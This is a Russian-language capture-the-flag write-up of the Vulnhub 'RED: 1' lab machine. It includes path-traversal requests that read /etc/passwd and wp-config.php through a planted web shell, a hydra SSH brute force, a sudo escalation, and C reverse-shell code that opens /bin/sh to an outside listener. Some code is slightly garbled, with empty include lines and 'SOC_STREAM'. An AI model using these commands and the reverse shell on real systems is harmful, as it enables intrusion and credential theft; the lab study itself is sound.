Приветствую!
Представляю вашему вниманию прохождение относительно новой машины (27 Oct 2021) с Vulnhub - RED: 1
Исходные данные следующие:
Дана машина Ubuntu, которую взломал маньяк-психопат Red. Наша задача - захватить её обратно (т.е. получить права пользователя root. Делать мы это будем, как обычно с Kali Linux.
Ну, начнем пожалуй.
Узнаём ip адрес атакуемой машины командой:
У меня ip нужной машины =
.
Теперь просканируем машину nmap'oм:
Код:
~$ nmap -A -p- -v 192.168.3.156
Видим открытые порты 22 и 80, ssh и seb-server соответственно. Так же, сразу видно что сайт создан на wordpress, версии 5.8.1, версию web-сервера apache (2.4.41) и заголовок, сообщающий нам, что сайт взломан.
Перейдя на сайт, видим, что он плохо прогрузился и заглянув в исходники, становится ясно, почему - нужно добавить домен в файл hosts:
Код:
~$ cat "192.168.3.156 redrocks.win" >> /etc/hosts
Снова переходим на сайт (http://redrocks.win) и в этот раз, видим, что повсюду надписи, гласящие, что сайт взломан.
Перебор директорий сайта ничего не дал, wpscan и другие сканеры (такие, как XAttacker и nikto) тоже ничего полезного не выявили, однако просматривая источники нашлись интересные ссылки (на самом деле, я уже просто просматривал все подряд):
Код:
http://redrocks.win/wp-json/
и
Код:
http://redrocks.win/feed/
Еще я попробовал экслоит CVE-2017-5487 и добыл имя пользователя wordpress:
Тоже самое видно, если перейти на:
Код:
http://redrocks.win/wp-json/wp/v2/users/1
Перебор id пользователей ничего не дает, видимо это тупиковое направление. Но у нас есть еще одна интересная ссылка
Код:
http://redrocks.win/feed/
, перейдя по которой скачивается файл с исходником какой-то страницы, в котором содержится язвительный комментарий с подсказкой:
Обыскав весь сайт и даже попробовав побрутфорсить пароль к админке, пришлось присмотреться к подсказке повнимательнее:
Слова "Looking For It" и "ask Mr. Miessler" выглядят подозрительно. аббревиатура 1-го - LFI, похоже это намек. Вбив в гугл "Mr. Miessler LFI" был найден репозиторий GitHub - danielmiessler/SecLists: SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more. и из него же, долгими ковыряниями SecLists/CommonBackdoors-PHP.fuzz.txt at master · danielmiessler/SecLists
Чуток поразбиравшись, что тут для чего, догадываемся, что надо попытаться профаззить сайт со словарем CommonBackdoors-PHP.fuzz.txt
Код:
~$ gobuster dir -w CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/ -o dir.txt
В результате получаем вывод:
NetworkFileManagerPHP.php
Перейдя видим пустую страницу, эксперемент с запросами ничего не дал, поэтому идем в гугл с вопросом: "NetworkFileManagerPHP.php backdoor". И сразу же находится репозиторий
https://github.com/BlackArch/webshells/blob/master/php/NetworkFileManagerPHP.php
Время использовать wfuzz:
Код:
~$ wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/wfuzz/wordlist/general/big.txt
Код:
~$ wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/wfuzz/wordlist/general/big.txt --hh 00
Вот мы и получили нужный параметр (key), который мы и будем использовать, например прочитаем файл /etc/passwd:
Код:
http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../../../../../etc/passwd
Сразу же видим имена 3-х пользователей, кроме рута: john, ippsec и oxdf, возьмем их на заметку.
Сразу же стоит глянуть конфиг вордпресса. Для этого пошлем запрос
Код:
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php
а в ответ получим закодированный в base64 wp-config.php
расшифровываем base64 и просматривая страницу видим логин и пароль:
john::R3v_m4lwh3r3_k1nG!!
НО! ssh данный пароль не принимает. Обидно!
Долго ползая дальше по сайту, я наконец-то догадался просмотреть код самой страницы шелла:
Код:
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php
В ответ так же, как и в прошлый раз приходит код страницы, в котором есть еще одна подсказка:
That password alone won't help you! Hashcat says rules are rules
Один только этот пароль вам не поможет! Hashcat говорит, что правила есть правила
Что-то странное, снова топаем в поисковик, про "Hashcat rules", сразу же нагугливается best64.rule и почитав описание используем hashcat следующим образом:
Код:
~$ hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule
Получаем вывод возможных паролей и пробрутив их через гидру получаем сам пароль:
Код:
~$ hydra -l john -P passwd.txt 192.168.3.156 ssh
[22][ssh] host: 192.168.3.156 login: john password: R3v_m4lwh3r3_k1nG!!21
И тут становится понятно, что машиной завладел какой-то особо опасный маньяк-психопат. Раз в минуту приходят стебные сообщения от Red'a, cat заменен на страшный vim, пароль от учетки постоянно меняются, а нас периодически выкидывает из сесси. Просто содомия какая-то. Полазив по целевой машине минут 7, я уже хотел бросить это дело, но все-таки решил, что надо добить её, назло создателю...
Просмотрев файлы в каталоге пользователя видно некий
, в котором только издевка:
Having a little trouble with the cat command blue?
Первым делом проверим, что можно сделать из-под sudo:
(ippsec) NOPASSWD: /usr/bin/time
О, это просто, повышаем привелегии:
Код:
john@red:~$ sudo -u ippsec /usr/bin/time /bin/bash
Отлично, просмотрев, что за файлы есть в директории пользователя ippsec, видим наш флаг user.txt. Вот только - это обманка, там опять стеб:
Come on now Blue! You really think it would be that easy to get the user flag? You are not even on the right user! Hahaha
Спустя много попыток и нервов (помним про все пакости реда), просматривая к чему у пользователя ippsec есть доступ:
Код:
john@red:~$ find / -group ippsec -type d 2> /dev/null
Видим гит:
Код:
/var/www/wordpress/.git
Это неспроста! Идем смотреть и видим 2 файла:
rev и supersecretfileuc.c
supersecretfileuc.c
#include
#include
#include
#include
#include
#include
void
main
(
)
{
int
port
=
1337
;
struct
sockaddr_in
revsockaddr
;
int
sock
=
socket
(
AF_INET
,
SOC_STREAM
,
0
)
;
revsockaddr
.
sin_family
=
AF_INET
;
revsockaddr
.
sin_port
=
htons
(
port
)
;
revsockaddr
.
sin_addr
.
s_addr
=
inet_addr
(
"192.168.3.111"
)
;
// IP основной машины
connect
(
sock
,
(
struct
sockaddr
*
)
&
revsockaddr
,
sizeof
(
revsockaddr
)
)
;
dup2
(
sock
,
0
)
;
dup2
(
sock
,
1
)
;
dup2
(
sock
,
2
)
;
char
*
const
argv
[
]
=
{
"/bin/sh"
,
NULL
}
;
execve
(
"/bin/sh"
,
argv
,
NULL
)
;
return
0
;
}
[/CODE]
Запускаем прослушиватель на основной машине командой:
И через пару минут получаем шел рута
Он не очень удобный, поэтому следует создать полноценный терминал командой:
Код:
~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
Вот и все МЫ ЕСТЬ РУТ!
Идем смотреть наши флаги:
А они все равно фейковые)
Ну что ж, вот и подошел к концу разбор очередной коробки, на самом деле это было довольно не приятно, данная статья просто не может выразить все эмоции, от того, как сильно эта машина бесила и сколько нервов съела.
*напоминаю*
Раз в минуту приходят стебные сообщения от Red'a, cat заменен на страшный vim, пароли от учетки постоянно меняются, а нас периодически (раз в пару минут) выкидывает из сесси
Спасибо всем, кто дочитал этот врайтап. Надеюсь было интересно.
P.S. Я думаю написать еще отдельно статью о том, как сделать подобную подлянку и как её исправить, если её подложили вам, но это точно будет позже, пишите, кстати, если все-таки интересно как же это сделать)